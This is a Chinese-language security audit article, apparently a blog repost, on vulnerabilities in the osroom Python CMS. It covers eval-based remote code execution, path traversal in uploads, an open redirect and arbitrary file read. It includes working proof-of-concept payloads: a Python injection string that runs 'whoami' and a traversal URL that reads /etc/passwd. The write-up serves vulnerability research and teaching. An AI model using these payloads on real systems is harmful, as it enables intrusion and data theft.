原创 | python代码审计-osroom

  • A+
所属分类:代码审计
原创 | python代码审计-osroom
点击上方蓝字 关注我吧

osroom

原创 | python代码审计-osroom
原创 | python代码审计-osroom


这个cms很有意思,从漏洞和程序的写法上,很适合用来入门学习,漏洞的一些形式相比来说,也比较多一点。

RCE

原创 | python代码审计-osroom
原创 | python代码审计-osroom

appsutilsformatobj_format.py
如下,文件中采用了eval来转换字符串对象,当json.loads转换失败的时候,则直接使用eval来转换。
def json_to_pyseq(tjson):    """    json to python sequencer    :param json:    :return:    """    if tjson in [None, "None"]:        return None    elif not isinstance(tjson, (list, dict, tuple)) and tjson != "":        if isinstance(tjson, (str, bytes)) and tjson[0] not in ["{", "[", "("]:            return tjson        elif isinstance(tjson, (int, float)):            return tjson        try:            tjson = json.loads(tjson)        except BaseException:            tjson = eval(tjson)        else:            if isinstance(tjson, str):                tjson = eval(tjson)    return tjson

转到一个使用此方法的功能,例如

appsmodulesauditprocessrules.py

删除规则处,传入一个ids参数,原参数值是一个hash值,但是可以修改为python代码。

def audit_rule_delete():    ids = json_to_pyseq(request.argget.all('ids', []))    if not isinstance(ids, list):        ids = json.loads(ids)    for i, tid in enumerate(ids):        ids[i] = ObjectId(tid)    r = mdbs["sys"].db.audit_rules.delete_many({"_id": {"$in": ids}})    if r.deleted_count > 0:        data = {"msg": gettext("Delete the success,{}").format(            r.deleted_count), "msg_type": "s", "custom_status": 204}    else:        data = {            "msg": gettext("Delete failed"),            "msg_type": "w",            "custom_status": 400}    return data


参数POC:

{123:__import__('os').system('whoami')}

查看终端输出。


原创 | python代码审计-osroom


原创 | python代码审计-osroom


只要涉及到ids参数的都存在此问题,比如另一个类别删除功能。


原创 | python代码审计-osroom


在用户登陆的判断中,也对传入的参数code_url_obj执行了此方法,所以存在一个前台的RCE

appsmodulesuserprocessonline.py
code_url_obj=json_to_pyseq(request.argget.all('code_url_obj', {}))

原创 | python代码审计-osroom


文件覆盖

原创 | python代码审计-osroom
原创 | python代码审计-osroom


appsutilsuploadfile_up.py
ps: 此问题没有复现,理论上可能存在。

代码描述了一种上传typroa图像base64后处理来保存写入文件的方式,其中后缀是解析typroa图像base64开头得到,例如
data:image/jpg;base64,获得后缀为jpg,在后续的文件明拼接中,文件名被以时间戳和UUID重写构造,但是后缀可控,可以写入....形式的遍历data:image/jpg........tmp;base64
def fileup_base_64(uploaded_files, file_name=None, prefix=""):    """     文件以base64编码上传上传    :param uploaded_files: 数组    :param bucket_var: 保存typroa图像服务器空间名的变量名, 如AVA_B    :param file_name:    :return:    """    if not uploaded_files:        return None    keys = []    for file_base in uploaded_files:        if file_base:            # data:image/jpeg            file_format = file_base.split(";")[0].split("/")[-1]            imgdata = base64.b64decode(file_base.split(",")[-1])            if file_name:                filename = '{}.{}'.format(file_name, file_format)            else:                filename = '{}_{}.{}'.format(                    time_to_utcdate(                        time_stamp=time.time(),                        tformat="%Y%m%d%H%M%S"),                    uuid1(),                    file_format)

传入后可以造成一种保存文件到其他目录的效果,这种遍历在Linux下是不允许的,但在Windows下可执行,win支持及../..,还可以文件结尾的回退遍历,所以在Windows下可以造成覆写。

上传文件覆盖

原创 | python代码审计-osroom
原创 | python代码审计-osroom


如果上面那个不是很清楚,这个就比较明显了,插件上传功能中。
appsmodulesplug_in_managerprocessmanager.py
def upload_plugin():    """    插件上传    :return:    """    file = request.files["upfile"]    file_name = os.path.splitext(file.filename)         #('123','.zip')    filename = os.path.splitext(file.filename)[0]         #123    extension = file_name[1]                           #.zip    if not extension.strip(".").lower() in ["zip"]:        data = {"msg": gettext("File format error, please upload zip archive"),                "msg_type": "w", "custom_status": 401}        return data    if not os.path.exists(PLUG_IN_FOLDER):            #osroom/apps/plugins        os.makedirs(PLUG_IN_FOLDER)    fpath = os.path.join(PLUG_IN_FOLDER, filename)   ##osroom/apps/plugins/123    if os.path.isdir(fpath) or os.path.exists(fpath):        if mdbs["sys"].db.plugin.find_one(                {"plugin_name": filename, "is_deleted": {"$in": [0, False]}}):            # 如果插件没有准备删除标志            data = {"msg": gettext("The same name plugin already exists"),                    "msg_type": "w", "custom_status": 403}            return data        else:            # 否则清除旧的插件            shutil.rmtree(fpath)            mdbs["sys"].db.plugin.update_one({"plugin_name": filename}, {                                         "$set": {"is_deleted": 0}})    # 保存主题    save_file = os.path.join("{}/{}".format(PLUG_IN_FOLDER, file.filename))     ##osroom/apps/plugins/123.zip    file.save(save_file)

上传文件后分割文件和后缀,判断插件是否存在以及是否清理就插件,在下面保存的时候,直接使用了上传的参数名做拼接,导致可以被跨目录保存,比如文件应该保存到osroom/apps/plugins/下,上传如下

原创 | python代码审计-osroom


我们在系统查看


原创 | python代码审计-osroom


路径跳转

原创 | python代码审计-osroom
原创 | python代码审计-osroom


appsmodulesuserprocesssign_in.py
ps:此问题影响较小,当作分析即可

在代码中存在一个获取值的参数next,这个参数是登陆的时候默认没有存在,可能是为了跳转登陆留下的参数。参数值为任意值的时候,返回的to_url的值就为参数值。

def p_sign_in(        username,        password,        code_url_obj,        code,        remember_me,        use_jwt_auth=0):    """    用户登录函数    :param adm:    :return:    """    data = {}    if current_user.is_authenticated and username in [current_user.username,                                                      current_user.email,                                                      current_user.mphone_num]:        data['msg'] = gettext("Is logged in")        data["msg_type"] = "s"        data["custom_status"] = 201        data['to_url'] = request.argget.all(            'next') or get_config("login_manager", "LOGIN_IN_TO")        return data

然后在前端js中appsadmin_pagespagessign-in.html
直接获取响应的data的to_url进行跳转,类似于统一登陆中的任意域跳转的问题。
var result = osrHttp("PUT","/api/sign-in", d);      result.then(function (r) {             if(r.data.msg_type=="s"){                 window.location.href = r.data/to_url;             }else if(r.data.open_img_verif_code){                 get_imgcode();             }      }).catch(function (r) {         if(r.data.open_img_verif_code){             get_imgcode();         }      });

任意文件读取

原创 | python代码审计-osroom
原创 | python代码审计-osroom


appsmodulestheme_settingprocessstatic_file.py

读取静态文件模板的时候,直接使用了请求的参数进行拼接访问,导致可以任意读取文件
def get_static_file_content():    """    获取静态文件内容, 如html文件    :return:    """    filename = request.argget.all('filename', "index").strip("/")    file_path = request.argget.all('file_path', "").strip("/")    theme_name = request.argget.all("theme_name")    s, r = arg_verify([(gettext("theme name"), theme_name)], required=True)    if not s:        return r    path = os.path.join(        THEME_TEMPLATE_FOLDER, theme_name)    file = "{}/{}/{}".format(path, file_path, filename)    if not os.path.exists(file) or THEME_TEMPLATE_FOLDER not in file:        data = {"msg": gettext("File not found,'{}'").format(file),                "msg_type": "w", "custom_status": 404}    else:        with open(file) as wf:            content = wf.read()        data = {            "content": content,            "file_relative_path": file_path.replace(                path,                "").strip("/")}    return data

构造POC:
http://192.168.120.128:5000/api/admin/static/file?file_path=pages/account/settings/../../../../../../../../etc&filename=passwd&theme_name=osr-theme-w

原创 | python代码审计-osroom


原创 | python代码审计-osroom
原创 | python代码审计-osroom
原创 | python代码审计-osroom

原创 | python代码审计-osroom
点分享
原创 | python代码审计-osroom
点收藏
原创 | python代码审计-osroom
点点赞
原创 | python代码审计-osroom
点在看

本文始发于微信公众号(SecIN技术平台):原创 | python代码审计-osroom

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: